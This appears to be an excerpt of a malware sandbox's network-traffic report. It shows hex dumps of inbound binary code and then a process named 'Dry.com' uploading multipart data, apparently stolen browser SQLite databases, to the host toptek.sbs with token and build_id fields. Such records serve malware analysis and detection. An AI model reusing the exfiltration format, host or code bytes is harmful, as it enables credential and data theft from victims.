2024-12-21 09:16:08 UTC	1378	IN	Data Raw: ff 15 98 19 42 00 cc cc cc cc cc cc cc cc 55 89 e5 50 c7 45 fc 00 00 00 00 64 a1 30 00 00 00 51 8b 48 02 89 4d fc 59 83 c4 04 5d c3 cc cc 31 c0 64 f7 05 30 00 00 00 68 00 00 00 0f 95 c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 74 24 14 64 a1 30 00 00 00 8b 78 0c 83 c7 14 8b 2d 20 1a 42 00 89 fb 0f 1f 40 00 8b 1b 39 fb 74 0a 56 ff 73 28 ff d5 85 c0 75 f0 39 fb 0f 95 c0 5e 5f 5b 5d c2 04 00 cc cc cc cc 53 57 56 64 a1 30 00 00 00 8b 78 0c 83 c7 14 8b 35 20 1a 42 00 89 fb 66 0f 1f 84 00 00 00 00 00 8b 1b 39 fb 74 13 68 2a 15 42 00 ff 73 28 ff d6 85 c0 75 ec e9 2f 01 00 00 64 a1 30 00 00 00 8b 78 0c 83 c7 14 89 fb 66 0f 1f 84 00 00 00 00 00 8b 1b 39 fb 74 13 68 d4 15 42 00 ff 73 28 ff d6 85 c0 75 ec e9 ff 00 00 00 64 a1 30 00 00 00 8b 78 Data Ascii: BUPEd0QHMY]1d0hUSWVt$d0x- B@9tVs(u9^_[]SWVd0x5 Bf9th*Bs(u/d0xf9thBs(ud0x
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: e8 67 eb 00 00 8b 3d fc 4f 63 00 8d 75 c4 89 f1 e8 57 ee 00 00 50 ff d7 89 f1 e8 fd ed 00 00 8d 7d dc 89 f9 e8 f3 ed 00 00 89 f1 e8 3c eb 00 00 89 f9 e8 35 eb 00 00 8d 5d 08 8d 4b 2c e8 2a eb 00 00 8d 4b 18 e8 22 eb 00 00 8d 4b 0c e8 1a eb 00 00 89 d9 e8 13 eb 00 00 8d 65 f4 5e 5f 5b 5d c2 68 00 cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 48 03 00 00 8d 5d 08 8d 4d 94 68 0a 15 42 00 e8 74 ea 00 00 8d 8d 6c ff ff ff 68 0a 15 42 00 e8 64 ea 00 00 8b 85 98 00 00 00 83 f8 02 74 13 83 f8 01 74 18 85 c0 75 4d 8d b5 ec fd ff ff 6a 1c eb 12 8d b5 ec fd ff ff 6a 28 eb 08 8d b5 ec fd ff ff 6a 1a 56 e8 be fd 00 00 8d bd ac fc ff ff 8d 5d 94 89 d9 56 57 e8 3c eb 00 00 89 d9 57 e8 e4 ea 00 00 89 f9 e8 7d ea 00 00 89 f1 8d 5d 08 e8 73 ea 00 00 8d 75 20 83 7b 24 Data Ascii: g=OcuWP}<5]K,*K"Ke^_[]hUSWVH]MhBtlhBdttuMjj(jV]VW<W}]su {$
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 00 00 89 f9 e8 01 e6 00 00 8d 85 ec fd ff ff 50 ff 75 ec ff 15 00 50 63 00 85 c0 8d 5d c8 0f 84 b6 fc ff ff 89 d9 68 be 0b 42 00 56 e8 e9 e6 00 00 89 f1 8d 85 18 fe ff ff 50 8d 7d e0 57 e8 d7 e6 00 00 8d 5d a0 89 d9 57 e8 1c e6 00 00 89 f9 e8 b5 e5 00 00 89 f1 e8 ae e5 00 00 89 e6 83 ec 0c 89 e1 53 e8 71 e5 00 00 e8 8c f8 00 00 89 f4 8d 75 d4 85 c0 74 92 89 f9 68 0a 15 42 00 e8 17 e5 00 00 89 f9 68 f9 00 42 00 8d bd 60 ff ff ff 57 e8 84 e6 00 00 89 f9 68 be 0b 42 00 8d bd 78 ff ff ff 57 e8 71 e6 00 00 89 f9 8d 45 14 50 8d 5d b8 53 e8 02 e6 00 00 89 d9 68 be 0b 42 00 56 e8 55 e6 00 00 8d 7d e0 89 f9 56 e8 9a e5 00 00 89 f1 e8 33 e5 00 00 89 d9 e8 2c e5 00 00 8d 8d 78 ff ff ff e8 21 e5 00 00 8d 8d 60 ff ff ff e8 16 e5 00 00 89 f9 8d 85 18 fe ff ff 50 56 e8 Data Ascii: PuPc]hBVP}W]WSquthBhB`WhBxWqEP]ShBVU}V3,x!`PV
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 7d c8 89 f9 e8 9f e3 00 00 50 ff d6 89 f9 e8 45 e3 00 00 8d b5 ec fd ff ff 89 f1 e8 38 e3 00 00 6a 04 8d 45 e0 50 e8 9d f0 00 00 89 f9 e8 76 e0 00 00 89 f1 e9 4a f7 ff ff ff 75 90 ff 15 08 50 63 00 8d 4d 94 e8 0e e3 00 00 8d 8d 6c ff ff ff e8 03 e3 00 00 eb 13 8d 4d c8 e8 49 e0 00 00 8d 4d a0 e8 41 e0 00 00 8d 75 08 8d 8d 6c ff ff ff e8 33 e0 00 00 8d 4d 94 e8 2b e0 00 00 89 f1 e8 24 e0 00 00 8d 4d 14 e8 1c e0 00 00 8d 4d 20 e8 14 e0 00 00 8d 4e 54 e8 0c e0 00 00 8d 4e 40 e8 04 e0 00 00 83 c6 34 89 f1 e8 fa df 00 00 8d 4d 30 e8 f2 df 00 00 8d 65 f4 5e 5f 5b 5d c2 94 00 e8 ad ca 01 00 cc cc cc 55 89 e5 53 57 56 83 ec 1c 83 bd 80 00 00 00 00 0f 84 fd 00 00 00 8d 45 08 8d 48 0c 89 4d d8 8d 48 18 89 4d dc 8d 48 2c 89 4d e0 83 c0 38 89 45 e4 31 f6 31 db 66 66 Data Ascii: }PE8jEPvJuPcMlMIMAul3M+$MM NTN@4M0e^_[]USWVEHMHMH,M8E11ff
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 50 08 c7 02 01 00 00 00 89 15 dc 46 42 00 83 c0 10 eb 02 31 c0 5e 5f c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 44 24 08 85 c0 74 6a 8d 48 f0 c7 40 f0 01 00 00 00 8b 50 f8 85 d2 74 29 83 3a 00 74 24 39 15 dc 46 42 00 75 06 89 0d dc 46 42 00 8b 72 04 01 70 f4 8b 72 08 89 70 f8 8b 52 08 85 d2 74 03 89 4a 0c 8b 50 fc 85 d2 74 29 83 3a 00 74 24 39 0d dc 46 42 00 75 06 89 15 dc 46 42 00 8b 48 f4 01 4a 04 8b 48 f8 89 4a 08 8b 40 f8 85 c0 74 03 89 50 0c 5e c2 04 00 cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 5c 24 14 c6 03 00 c6 43 01 00 c6 43 02 00 c6 43 03 00 c6 43 04 00 c6 43 05 00 c6 43 06 00 c6 43 07 00 c6 43 08 00 c6 43 09 00 c6 43 0a 00 c6 43 0b 00 c6 43 0c 00 c6 43 0d 00 c6 43 0e 00 c6 43 0f 00 c6 43 10 00 c6 43 11 00 c6 43 12 00 c6 43 13 00 c6 43 Data Ascii: PFB1^_VD$tjH@Pt):t$9FBuFBrprpRtJPt):t$9FBuFBHJHJ@tP^USWV\$CCCCCCCCCCCCCCCCCCCC
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 4d d8 8d 7d a8 e8 da d5 00 00 0f b7 85 60 ff ff ff 8b 8d 58 ff ff ff 83 ec 20 0f 28 05 c0 f0 41 00 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 89 34 24 c7 44 24 1c 00 00 00 00 ff 15 48 51 63 00 8b 4d ec 85 c0 0f 84 6c 03 00 00 89 c6 89 5d c4 31 c0 85 c9 0f 94 c0 c1 e0 17 0d 00 01 40 00 6a 00 50 6a 00 6a 00 68 53 10 42 00 ff b5 74 ff ff ff 68 f2 0b 42 00 56 89 cb ff 15 58 51 63 00 89 45 f0 85 c0 0f 84 23 03 00 00 89 75 c8 85 db 8d b5 78 f7 ff ff 75 18 c7 85 78 f7 ff ff ff ff ff ff 6a 04 56 6a 1f ff 75 f0 ff 15 68 51 63 00 8d 7d 90 89 f9 68 73 11 42 00 56 e8 36 d6 00 00 89 f9 56 e8 7e d5 00 00 89 f1 e8 17 d5 00 00 89 f9 8d 5d cc 53 56 e8 bb d5 00 00 89 f9 56 e8 63 d5 00 00 89 f1 e8 fc d4 00 00 89 f9 68 05 15 42 00 56 e8 ff d5 00 00 89 f9 56 e8 47 d5 00 00 89 f1 Data Ascii: M}`X (AD$D$L$4$D$HQcMl]1@jPjjhSBthBVXQcE#uxuxjVjuhQc}hsBV6V~]SVVchBVVG
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: fe ff ff 6a 14 56 e8 f7 e1 00 00 8d 9d 6c f6 ff ff 89 f9 56 53 e8 18 d1 00 00 89 f9 53 e8 c0 d0 00 00 89 d9 e8 59 d0 00 00 89 f1 e8 52 d0 00 00 8d bd 78 ff ff ff 8d 4d c8 68 71 11 42 00 57 e8 4e d1 00 00 89 f9 8d 45 a0 50 56 e8 e2 d0 00 00 89 f1 68 dd 14 42 00 53 e8 35 d1 00 00 8d 4d c8 53 e8 7c d0 00 00 89 d9 e8 15 d0 00 00 89 f1 e8 0e d0 00 00 89 f9 e8 07 d0 00 00 8d 7d 90 89 f9 68 40 11 42 00 56 e8 07 d1 00 00 89 f1 8d 45 a0 50 53 e8 9b d0 00 00 89 f9 53 e8 43 d0 00 00 89 d9 8d 5d 08 e8 d9 cf 00 00 89 f1 e8 d2 cf 00 00 0f b7 85 54 ff ff ff 8b 8d 4c ff ff ff 8b 53 04 83 ec 20 0f 28 05 c0 f0 41 00 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 89 14 24 c7 44 24 1c 00 00 00 00 ff 15 48 51 63 00 85 c0 0f 84 ce 05 00 00 89 c6 31 c0 8b 7d ec 85 ff 0f 94 c0 c1 e0 17 Data Ascii: jVlVSSYRxMhqBWNEPVhBS5MS\|}h@BVEPSSC]TLS (AD$D$L$$D$HQc1}
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 31 f6 8b 45 e8 89 45 b4 0f 1f 84 00 00 00 00 00 a1 54 51 63 00 89 45 ec 8b 3d 2c 50 63 00 8d 5d 90 89 d9 e8 f8 cd 00 00 50 ff d7 89 c7 89 d9 e8 ec cd 00 00 ff 75 b0 ff 75 b4 57 50 ff 75 f0 ff 55 ec 85 c0 75 2a 89 c7 68 b8 0b 00 00 ff 15 fc 19 42 00 81 fe 7d 96 98 00 77 05 46 85 ff 74 b0 8d 45 e8 6a 04 50 e8 d5 da 00 00 e9 30 01 00 00 8d 45 e8 6a 04 50 e8 c5 da 00 00 c7 45 ac 00 01 00 00 8d 45 ac 6a 00 50 8d b5 3c fe ff ff 56 6a 13 ff 75 f0 ff 15 64 51 63 00 85 c0 0f 84 fe 00 00 00 56 e8 68 da 00 00 3d c8 00 00 00 0f 85 ed 00 00 00 8d 45 dc 50 68 cf 07 00 00 8d 9d 6c f6 ff ff 53 ff 75 f0 ff 15 5c 51 63 00 85 c0 74 54 8b 45 dc 85 c0 74 4d 8d 75 84 66 0f 1f 44 00 00 c6 84 05 6c f6 ff ff 00 89 f1 53 8d bd 78 ff ff ff 57 e8 39 cb 00 00 89 f1 57 e8 81 ca 00 00 Data Ascii: 1EETQcE=,Pc]PuuWPuUu*hB}wFtEjP0EjPEEjP<VjudQcVh=EPhlSu\QctTEtMufDlSxW9W
2024-12-21 09:16:08 UTC	1378	IN	Data Raw: 89 f1 57 e8 16 c6 00 00 89 f9 e8 af c5 00 00 89 f1 8d 45 b8 50 57 e8 53 c6 00 00 89 f1 57 e8 fb c5 00 00 89 f9 e8 94 c5 00 00 89 f1 68 05 15 42 00 57 e8 97 c6 00 00 89 f1 57 e8 df c5 00 00 89 f9 e8 78 c5 00 00 89 f1 68 09 13 42 00 57 e8 7b c6 00 00 89 f1 57 e8 c3 c5 00 00 89 f9 e8 5c c5 00 00 89 f1 68 8c 09 42 00 57 e8 5f c6 00 00 89 f1 57 e8 a7 c5 00 00 89 f9 e8 40 c5 00 00 89 f1 68 02 15 42 00 57 e8 43 c6 00 00 89 f1 57 e8 8b c5 00 00 89 f9 e8 24 c5 00 00 e8 7f d6 ff ff 89 f1 50 57 e8 26 c6 00 00 89 f1 57 e8 6e c5 00 00 89 f9 e8 07 c5 00 00 89 f1 68 05 15 42 00 57 e8 0a c6 00 00 89 f1 57 e8 52 c5 00 00 89 f9 e8 eb c4 00 00 89 f1 68 73 11 42 00 57 e8 ee c5 00 00 89 f1 57 e8 36 c5 00 00 89 f9 e8 cf c4 00 00 89 f1 8d 45 b8 50 57 e8 73 c5 00 00 89 f1 57 e8 Data Ascii: WEPWSWhBWWxhBW{W\hBW_W@hBWCW$PW&WnhBWWRhsBWW6EPWsW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49940	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:08 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----00ZUAAA1VKFU379R90HV User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 169765 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 30 5a 55 41 41 41 31 56 4b 46 55 33 37 39 52 39 30 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 30 30 5a 55 41 41 41 31 56 4b 46 55 33 37 39 52 39 30 48 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 30 30 5a 55 41 41 41 31 56 4b 46 55 33 37 39 52 39 30 48 56 0d 0a 43 6f 6e 74 Data Ascii: ------00ZUAAA1VKFU379R90HVContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------00ZUAAA1VKFU379R90HVContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------00ZUAAA1VKFU379R90HVCont
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:08 UTC	16355	OUT	Data Raw: 55 67 51 6b 39 50 54 45 56 42 54 69 42 45 52 55 5a 42 56 55 78 55 49 45 5a 42 54 46 4e 46 49 45 35 50 56 43 42 4f 56 55 78 4d 4b 56 41 45 42 68 63 72 4b 77 46 5a 64 47 46 69 62 47 56 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 56 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 46 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 4e 78 62 47 6c 30 5a 56 39 7a 5a 58 46 31 5a 57 35 6a 5a 53 68 75 59 57 31 6c 4c 48 4e 6c 63 53 6d 42 66 77 4d 48 46 78 55 56 41 59 4e 68 64 47 46 69 62 47 56 31 63 6d 78 7a 64 58 4a 73 63 77 52 44 55 6b 56 42 56 45 55 67 56 45 46 43 54 45 55 67 64 58 4a 73 63 79 68 70 5a 43 42 4a 54 6c 52 46 52 30 56 53 49 46 42 53 53 55 31 42 55 6c 6b 67 53 30 56 5a 49 45 46 56 56 45 39 4a 54 6b 4e 53 52 55 31 46 54 Data Ascii: UgQk9PTEVBTiBERUZBVUxUIEZBTFNFIE5PVCBOVUxMKVAEBhcrKwFZdGFibGVzcWxpdGVfc2VxdWVuY2VzcWxpdGVfc2VxdWVuY2UFQ1JFQVRFIFRBQkxFIHNxbGl0ZV9zZXF1ZW5jZShuYW1lLHNlcSmBfwMHFxUVAYNhdGFibGV1cmxzdXJscwRDUkVBVEUgVEFCTEUgdXJscyhpZCBJTlRFR0VSIFBSSU1BUlkgS0VZIEFVVE9JTkNSRU1FT
2024-12-21 09:16:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49945	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
